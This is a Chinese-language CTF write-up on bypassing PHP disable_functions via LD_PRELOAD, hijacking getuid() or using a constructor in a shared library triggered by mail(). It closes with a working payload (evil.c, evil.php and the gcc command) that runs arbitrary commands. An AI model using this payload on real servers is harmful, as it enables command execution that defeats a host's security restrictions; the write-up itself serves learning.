這次TCTF中一道題,給出了一個PHP一句話木馬,設置了open_basedir,disable_functions包含所有執行系統命令的函數,然后目標是運行根目錄下的/readflag,目標很明確,即繞過disable_functions和open_basedir,當然我還是一如既往的菜,整場比賽就會做個簽到,這題也是賽后看WP才明白。
LD_PRELOAD
LD_PRELOAD是Unix中的一個環境變量,用於定義在程序運行前優先加載的動態鏈接庫,LD和動態庫有關,PRELOAD表示預加載,結合起來就是預先加載的動態庫。通過這個環境變量,可以覆蓋正常的函數庫中的函數。
寫個驗證密碼是否正確的demo
如果是不知道密碼的情況下,就可以編寫一個動態函數庫來覆蓋掉strcmp函數恆返回0以達到任意密碼都返回Correct
-fPIC 作用於編譯階段,告訴編譯器產生與位置無關代碼(Position-Independent Code), 則產生的代碼中,沒有絕對地址,全部使用相對地址,故而代碼可以被加載器加載到內存的任意 位置,都可以正確的執行。這正是共享庫所要求的,共享庫被加載時,在內存的位置不是固定的
設置環境變量后,任意密碼都將返回Correct
putenv
PHP中putenv()函數用於設置服務器環境變量,僅存活於當前請求期間。 在請求結束時環境會恢復到初始狀態。
putenv ( string $setting ) : bool
如
putenv("LD_PRELOAD=/tmp/evil.so");
劫持系統函數繞過disable_functions
這種方法已經存在了幾年,它基於這樣的概念:當系統試圖調用某函數時,該函數位於特定的共享庫(xxx.so)。因此,系統在調用之前將加載xxx.so。換句話說,如果我可以創建一個evil.so有了同名的函數,就能將其覆蓋之。
所以需要找到一個php函數,它將運行一個新進程以及觸發上述過程。新進程的原因就像前面提到的一樣,需要重新啟動服務以更改LD_PRELOAD,這里用到PHP mail() 函數
在Linux中,進程是不能直接去訪問硬件設備的,比如讀取磁盤文件、接收網絡數據等,但可以將用戶態模式切換到內核模式,通過系統調用來訪問硬件設備。這時strace就可以跟蹤到一個進程產生的系統調用,包括參數,返回值,執行消耗的時間、調用次數,成功和失敗的次數。
可以看到 這段PHP代碼(mail()函數)使用 execve 在父進程中 fork 了一個子進程,調用了 /usr/sbin/sendmail
接着看下sendmail中調用了getuid()函數,(可以用readelf查看sendmail中使用了哪些函數,如readelf -Ws /usr/sbin/sendmail,但我環境似乎有問題執行不成功,所以還是用到strace)
所以可以編寫一個動態庫覆蓋getuid()函數
一開始我是這么寫的,雖然也能成功執行命令
但是服務器卡頓,一堆報錯,然后關了SSH后就連接不上了,最后只得在控制台重啟,應該是將程序中所有的getuid()都覆蓋造成某些地方嚴重出錯,所以改為如下,在第一次運行到我的寫的getuid()函數時就unsetenv這個環境變量,保證之后的正常調用

在PHP代碼中設置環境變量,並調用mail函數觸發getuid(),最后成功執行命令
劫持共享庫
__attribute__ 是 GNU C 里一種特殊的語法,語法格式為:__attribute__ ((attribute-list)),若函數被設定為constructor屬性,則該函數會在main()函數執行之前被自動的執行。類似的,若函數被設定為destructor屬性,則該函數會在main()函數執行之后或者exit()被調用后被自動的執行。
Q
- When exactly does it run?
- Why are there two parentheses?
- Is
__attribute__
a function? A macro? Syntax?- Does this work in C? C++?
- Does the function it works with need to be static?
- When does
__attribute__((destructor))
run?A
- It's run when a shared library is loaded, typically during program startup.
- That's how all GCC attributes are; presumably to distinguish them from function calls.
- GCC-specific syntax.
- Yes, this works in C and C++.
- No, the function does not need to be static.
- The destructor is run when the shared library is unloaded, typically at program exit.
以上回答說的很清楚,__attribute__((constructor)) 在加載共享庫時就會運行。於是只要編寫一個含__attribute__((constructor)) 函數的共享庫,然后在PHP中設置LD_PRELOAD環境變量,並且有一個能 fork 一個子進程並觸發加載共享庫的函數被執行,那么就能執行任意代碼達到bypass disable_functions。當然mail()函數滿足條件。
編寫共享庫
執行PHP
同理,當在linux中設置了環境變量后,那么使用任意命令都將觸發
通用payload
evil.c
#include<stdlib.h> __attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); }
evil.php
<?php putenv("_evilcmd=echo 1>/root/tmp/222222"); putenv("LD_PRELOAD=./evil.so"); mail('a','a','a','a');
gcc -shared -fPIC -o evil.so evil.c
參考:
Bypass disable_functions with LD_PRELOAD